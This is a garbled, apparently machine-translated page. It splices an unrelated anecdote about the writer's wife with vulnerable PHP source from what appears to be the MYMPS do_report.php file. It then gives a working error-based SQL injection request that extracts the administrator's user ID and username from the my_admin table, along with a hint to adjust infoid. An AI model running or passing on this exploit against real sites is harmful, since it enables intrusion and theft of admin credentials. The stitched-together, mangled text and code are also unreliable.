Cause: My wife said she hadn't gotten her menstruation, and she was in a hurry... Suddenly, my wife had menstruation. This is a fact... The wife said, "You have a diaosi. Do you know what menstruation is ." The author said, "Don't understand !". My wife said, "Let's do what you should do. You must send me back first. Otherwise, if you let me go, I will faint !". I shed tears. Thank you, my wife. You forgive me for being a cool. File do_report.php <? Php! Defined ('in _ MYMPS ') & exit ('foridden'); require_once MYMPS_DATA. "/config. db. php "; require_once MYMPS_INC. "/db. class. php "; $ ip = GetIP (); $ infoid = isset ($ _ POST ['infoid'])? Intval ($ _ POST ['infoid']): ''; $ infotitle = isset ($ _ POST ['infotitle'])? Trim ($ _ POST ['infotitle']): ''; // $ content = isset ($ _ POST ['content'])? Trim ($ _ POST ['content']): ''; // $ report_type = isset ($ _ POST ['report _ type'])? Trim ($ _ POST ['report _ type']): ''; // if (mymps_count (" info_report ", "WHERE infoid = '$ infoid' AND ip =' $ ip' AND pubtime> '". mktime (0, 0 ). "'")> 0) {echo "<center style = \" color: red; font-weight: bold \ "> operation failed. You have reported this information! </Font> "; exit;} $ db-> query (" insert into '{$ db_mymps} info_report' (report_type, content, infoid, infotitle, ip, pubtime) VALUES ('$ report_type', '$ content',' $ infoid', '$ infotitle', '$ ip ','". $ timestamp. "')"); echo "<div style = \" margin: 10px 15px \ "> <font style = \" color: red; font-size: 12px \ "> The Code is as follows: part = do_report & infoid = 87382231 & infotitle = 123 ', 'ip1', (select % 201% 20 from (select % 20 count (*), concat (select % 20 (select % 20 (SELECT % 20 concat (0x6F756F757E, userid, 0x2D, uname, 0x7E31) % 20 FROM % 20my_admin % 20 where id = 1 )) % 20 from % 20information_schema.tables % 20 limit % 200,1), floor (rand (0) * 2) x % 20 from % 20information_schema.tables % 20 group % 20by % 20x) )) # & report_type = 2 & content = asasas infoid needs to be modified. Otherwise, you know. Haha.